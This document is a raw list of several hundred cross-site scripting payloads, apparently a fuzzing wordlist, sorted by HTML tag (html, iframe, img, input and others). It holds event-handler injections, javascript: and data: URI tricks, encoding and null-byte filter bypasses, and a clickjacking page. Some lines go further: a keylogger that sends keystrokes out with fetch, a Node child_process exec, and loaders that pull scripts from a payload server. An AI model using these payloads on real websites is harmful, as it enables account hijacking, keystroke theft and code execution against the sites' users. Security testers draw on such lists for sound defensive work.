<hgroup onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</hgroup>
<hr onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</hr>
<html onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" manifest="URL" xmlns="http://www.w3.org/1999/xhtml">Test</html>
<html ontouchend=alert(1)>
<html ontouchmove=alert(1)>
<html ontouchstart=alert(1)>
<html xmlns="http://www.w3.org/1999/xhtml"xmlns:svg="http://www.w3.org/2000/svg"><body style="background:gray"><iframe src="http://example.com/" style="width:800px; height:350px; border:none; mask: url(#maskForClickjacking);"/><svg:svg><svg:mask id="maskForClickjacking" maskUnits="objectBoundingBox" maskContentUnits="objectBoundingBox"> <svg:rect x="0.0" y="0.0" width="0.373" height="0.3" fill="white"/> <svg:circle cx="0.45" cy="0.7" r="0.075" fill="white"/></svg:mask></svg:svg></body></html>
<html> <script> var a="</script><script>alert(1)//";</script> </html>
<html><body>
<html><head><meta http-equiv="x-ua-compatible" content="IE=5"></head><body><iframe onload="JScript.Compact:alert(1)"></iframe><iframe onload="JScript.Compact:alert(2);"></iframe></body></html>
<html><noalert><noscript>(XSS)</noscript><script>(XSS)</script>
<i onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</i>
<i onwheel=alert(224)> Scroll over me </i>
<iMg onerror=alert(1) src=a>
<i[%00]m[%00]g o[%00]ner[%00]r[%00]or[%00]=a[%00]ler[%00]t(1) sr[%00]c=[%00]a>
<i[%00]mg onerror=alert(1) src=a>
<iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															%28
																1
																	%29></iframe>
<iframe "onload=alert(1)></iframe>
<iframe id=XSS "onload=alert(/XSS/)></iframe>
<iframe id=XSS / "onload=alert(/XSS/)></iframe>
<iframe id=XSS / /onload=alert(/XSS/)></iframe>
<iframe id=XSS <?php echo chr(11)?> onload=alert(/XSS/)></iframe>
<iframe id=XSS <?php echo chr(12)?> onload=alert(/XSS/)></iframe>
<iframe id=XSS///////onload=alert(/XSS/)></iframe>
<iframe name=alert(1) src="//somedomain?x=',__defineSetter__('x',eval),x=name,'"></iframe>
<iframe onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</iframe>
<iframe onload=popup=1;>
<iframe onreadystatechange=alert(1)>
<iframe src=""//srcdoc='<svg onload=alert(1)>'>
<iframe src="data:data:javascript:,% 3 c script % 3 e confirm(1) % 3 c/script %3 e">
<iframe src="data:text/html,<a href='googlechrome://xss.cx/xss.html'>CLICKY.CLICK</a>" sandbox></iframe>
<iframe src="http://127.0.0.1:3555/xss_serve_payloads/X.html" width="800" height="800">iframe</iframe>
<iframe src="http://example.org/"></iframe>
<iframe src="http://localhost"></iframe>
<iframe src="http://target" referrerpolicy="no-referrer">
<iframe src="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e"></iframe>
<iframe src="javascript:alert(1); <
<iframe src="javascript:document.cookie=true;>
<iframe src="javascript:x:alert(1)">
<iframe src=http://127.0.0.1:3555/xss_serve_payloads/X.html <
<iframe src=http://vulnerability-lab.com/>@gmail.com
<iframe src=http://vulnerability-lab.com/index.html <
<iframe src=http://vulnerability-lab.com>1337+1
<iframe src=javascript:alert(1) >
<iframe src=javascript:alert(1)>
<iframe src=mhtml:http://127.0.0.1:3555/xss_serve_payloads/X.gif!X.html></iframe>
<iframe src=mhtml:http://127.0.0.1:3555/xss_serve_payloads/X.html!X.html></iframe>
<iframe src=x onerror=prompt(1)>
<iframe srcdoc="<script>alert(document.domain)</script>">
<iframe srcdoc=<svg/onload=alert(1)>>
<iframe%0Aname="javascript:\u0061\u006C\u0065\u0072\u0074(1)" %0Aonload="eval(name)";>
<iframe/ "onload=alert(1)></iframe>
<iframe/ /onload=alert(1)></iframe>
<iframe///////onload=alert(1)></iframe>
<iframe/onload='this["src"]="javas	cript:al"+"ert``"';>
<iframe/src="data:text/html;	base64
,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">
<iframe/src="data:text/html,<svg%09%0A%0B%0C%0D%A0%00%20onload =confirm(1);>";>
<iframe/src="data:text/html,<svg%09%0A%0B%0C%0D%A0%00%20onload=confirm(1);>">
<iframe<?php echo chr(11)?> onload=alert(1)></iframe>
<iframe<?php echo chr(12)?> onload=alert(1)></iframe>
<iframe><img title="</iframe><img src onerror=alert(1)>"></iframe>
<iframesrc="javascript:alert(2)">
<image src=`` onerror=setTimeout/*("__")*/`\u0061lert\u00281\u0029/**/`>
<img ="=" title="><img src=1 onerror=alert(1)>">
<img ="><script>alert(1)</script>">
<img \x00src=x onerror="alert(165)">
<img \x00src=x onerror="javascript:alert(178)">
<img \x11src=x onerror="javascript:alert(167)">
<img \x12src=x onerror="javascript:alert(168)">
<img \x34src=x onerror="javascript:alert(176)">
<img \x39src=x onerror="javascript:alert(177)">
<img \x47src=x onerror="javascript:alert(166)">
<img \x47src=x onerror="javascript:alert(175)">
<img alt='%></xmp><img src=xx:x onerror=aler
<img border=3 alt=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e>
<img class="emoji" alt="😯" src="x" /><svg onload=prompt(document.domain)>
<img dynsrc="javascript:alert(1);">
<img dynsrc="javascript:document.cookie=true;">
<img id=XSS SRC="blah"onmouseover="alert('XSS');">
<img id=XSS SRC="blah>"onmouseover="alert('XSS');">
<img language=JScript.Encode onerror=#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@ src=a>
<img language=vbscript src=<b onerror="alert 1"> // IE 8
<img language=”JScript.Encode” onerror=”#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@” src=a>
<img o[%00]nerror=alert(1) src=a>
<img onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</img>
<img onerror=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@ src=a>
<img onerror=alert(1)src=a>
<img onerror=vbs:MsgBox 1 src=a>
<img onerror=eval('al\u0065rt(1)') src=a>
<img onerror=MsgBox+1 language=vbs src=a>
<img onerror=`alert(1)`src=a>
<img onerror=alert(1) src=a>
<img onerror=alert(1) src=a>
<img onerror=alert(1) src=a>
<img onerror=alert(1) src=a>
<img onerror=alert(1) src=a>
<img onerror=alert(1) src=a>
<img onerror=alert(1) src=a>
<img onerror=alert(1) src=a>
<img onerror=eval('al\u0065rt(1)') src=a>
<img onerror=event.path.pop().alert(1) src>
<img onerror=’alert(1)’src=a>
<img onerror=”VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@” src=a>
<img onerror=”alert(1)”src=a>
<img onerror=”vbs:MsgBox 1” src=a>
<img src = http://127.0.0.1:3555/xss_serve_payloads/X.js>
<img src = http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp>
<img src = ”http://127.0.0.1:3555/xss_serve_payloads/X.js”>
<img src = ”http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp”>
<img src ?itworksonchrome?\/onerror = alert(1)
<img src onerror /" '"= alt=alert(1)//">
<img src onerror /" '"= alt=javascript:alert(201)//">
<img src=<img src=x/onerror=alert(1)//> Jquery: <img/src/onerror=alert(1)>
<img src= "a" onerror= 'eval(atob("cHJvbXB0KDEpOw=="))'
<img src="" onerror=alert(1);>
<img src="" onerror=alert(1)>
<img src=""><SCRIPT/ASYNC/SRC="/〳⒛₨">
<img src="a" onerror='eval(atob("cHJvbXB0KDEpOw=="))'>
<img src="blah"onmouseover="alert(1);">
<img src="blah"onmouseover="document.cookie=true;">
<img src="blah>" onmouseover="alert(1);">
<img src="blah>" onmouseover="document.cookie=true;">
<img src="http://127.0.0.1:3555/xss_serve_payloads/bmp.bmp" onerror=alert(1)>
<img src="http://127.0.0.1:3555/xss_serve_payloads/gif.gif" onerror=alert(1)>
<img src="http://127.0.0.1:3555/xss_serve_payloads/image.png" onerror=alert(1)>
<img src="http://127.0.0.1:3555/xss_serve_payloads/jpg.jpg" onerror=alert(1)>
<img src="javascript:document.cookie=true;">
<img src="livescript:alert(1);">
<img src="livescript:document.cookie=true;">
<img src="mocha:alert(1);">
<img src="mocha:document.cookie=true;">
<img src="x:" title="onerror=alert(1)//">
<img src="x:%90" title="onerror=alert(1)//">
<img src="x:? title=" onerror=alert(1)//">
<img src="x:X" onerror="alert(1)">
<img src="x:alert" onerror="eval(src%2b'(1)')">
<img src="x:gif" onerror="eval('al'%2b'lert(1)')">
<img src="x:gif" onerror="window['al\u0065rt'](1)"></img>
<img src="x:ö" title="onerror=alert(1)//">
<img src="x` `<script>alert(1)</script>
<img src="x` `<script>alert(1)</script>"` `>
<img src="x` `<script>javascript:alert(200)</script>"` `>
<img src=java scrip t:ale rt('X SS')>
<img src=javasc ript:ale rt('XSS')>
<img src=&{alert(1);};>
<img src=&{document.cookie=true;};>
<img src='http://127.0.0.1:3555/xss_serve_payloads/X.html' onload=alert(1)//></img>
<img src='http://127.0.0.1:3555/xss_serve_payloads/gif.gif' onload='document.scripts(0).src="http://127.0.0.1:3555/xss_serve_payloads/X.js"'>
<img src='http://127.0.0.1:3555/xss_serve_payloads/gif.gif' onload='document.scripts(0).src="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"'>
<img src='http://127.0.0.1:3555/xss_serve_payloads/xxxgif.gif' onerror='document.scripts(0).src="http://127.0.0.1:3555/xss_serve_payloads/X.js"'>
<img src='http://127.0.0.1:3555/xss_serve_payloads/xxxgif.gif' onerror='document.scripts(0).src="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"'>
<img src='vbscript:do%63ument.lo%63ation="http://127.0.0.1:3555/xss_serve_payloads/X.html"'>
<img src='x'alt='con'lang='firm'onerror=top[alt+lang](document.domain)>
<img src=/ onerror=alert(1);>
<img src=/ onerror=alert(1)>
<img src=X onerror=alert(1)>
<img src=\"x:X\" onerror=\"alert(1)\">
<img src=\\?\UNC\\\></style>
<img src=a onerror=alert(1)
<img src=a onerror=setInterval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32))> // Using String.fromcharcode function
<img src=foo.png onerror=%61%6C%65%72%74%28%2F%4B%43%46%2F%29/>
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<img src=x onerror='document.onkeypress=function(e){fetch("http://localhost?k=localhost/?k= "+String.fromCharCode(e.which))},this.remove();'>
<img src=x onerror=\x00"javascript:alert(198)">
<img src=x onerror=\x09"javascript:alert(193)">
<img src=x onerror=\x10"javascript:alert(194)">
<img src=x onerror=\x11"javascript:alert(195)">
<img src=x onerror=\x12"javascript:alert(196)">
<img src=x onerror=\x32"javascript:alert(197)">
<img src=x onerror=alert(123) />
<img src=x onerror=alert(2) />
<img src=x onerror=document.body.innerHTML=location.hash>#"><img src=x onerror=prompt(1)>
<img src=x onerror=document.body.innerHTML=location.hash>#"><img/src='x'onerror=prompt(1)>
<img src=x onerror=document.body.innerHTML=location.hash>#<img src=x onerror=prompt(1)>
<img src=x onerror=document.body.innerHTML=location.hash>#<img/src='x'onerror=prompt(1)>
<img src=x onerror=prompt(1);>
<img src=x onerror=prompt(1);>
<img src=x onerror=prompt(1)>
<img src=x onerror=prompt`1`>
<img src=x onerror=window.open('http://127.0.0.1:3555/xss_serve_payloads/X.html"');>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img src=x:prompt(alt) onerror=eval(src) alt=(1)>
<img src=x\x09onerror="javascript:alert(187)">
<img src=x\x10onerror="javascript:alert(188)">
<img src=x\x11onerror="javascript:alert(189)">
<img src=x\x12onerror="javascript:alert(190)">
<img src=x\x13onerror="javascript:alert(191)">
<img src=”<img src=x”/onerror=alert(1)//”> Jquery: <img/src/onerror=alert(1)>
<img src\x00=x onerror="javascript:alert(185)">
<img src\x09=x onerror="javascript:alert(179)">
<img src\x10=x onerror="javascript:alert(180)">
<img src\x11=x onerror="javascript:alert(184)">
<img src\x12=x onerror="javascript:alert(183)">
<img src\x13=x onerror="javascript:alert(181)">
<img src\x32=x onerror="javascript:alert(182)">
<img src\x47=x onerror="javascript:alert(186)">
<img srcset=popup=1; onerror=popup=1;>
<img style="xss:expression(alert(1))">
<img type=image src=X.gif onreadystatechange=alert(1)>
<img%0D%0Asrc%3Da%0D%0Aonerror%3Dalert%281%29>
<img+<iframe ="1" onerror="alert(1)">
<img+src="http://localhost">
<img/onerror=alert(1) src=a>
<img/anyjunk/onerror=alert(1) src=a>
<img/onerror=alert(1) src=a>
<img/onerror=alert(1)+/src/<xss>
<img/src="1"/onerror="alert(1)"
<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
<img/src="mars.png"alt="mars">
<img/src="xss.png"alt="xss">
<img/src='http://127.0.0.1:3555/xss_serve_payloads/X.jpg' onmouseover=	prompt(1)
<img/src=aaa.jpg onerror=prompt(1);>
<img/src=q onerror='new Function`al\ert\`1\``'>
<img/src=x:\u0070r\u006fmp\u0074(alt) onerror=x:e\u0076al(src) alt=XSS>
<img/’onerror=alert(1) src=a>
<img/”onerror=alert(1) src=a>
<img[%09]onerror=alert(1) src=a>
<img[%0a]onerror=alert(1) src=a>
<img[%0d]onerror=alert(1) src=a>
<img[a][b][c]src[d]=x[e]onerror=[f]"alert(192)">
<img[a][b]src=x[d]onerror[c]=[e]"alert(1)">
<img[a][b]src=x[d]onerror[c]=[e]"prompt(1)">
<img\x10src=x onerror="javascript:alert(170)">
<img\x11src=x onerror="javascript:alert(174)">
<img\x13src=x onerror="javascript:alert(171)">
<img\x32src=x onerror="javascript:alert(172)">
<img\x47src=x onerror="javascript:alert(169)">
<img\x47src=x onerror="javascript:alert(173)">
<immg/src/onerror=prooompt(8)>
<input disabled style="position:fixed;top:0;left:0;border:999em solid red;" onmouseover="alert(1)">
<input id=XSS onblur=javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32)) autofocus><input autofocus>
<input id=XSS onfocus=javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32)) autofocus>
<input id=x><input id=x><script>alert(x)</script>
<input onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</input>
<input onblur=alert(1) autofocus><input autofocus>
<input onblur=write(1) autofocus><input autofocus>
<input onclick=popup=1; >
<input onfocus=popup=1; autofocus="x">
<input onfocus=write(1) autofocus>
<input oninput=alert(1)>
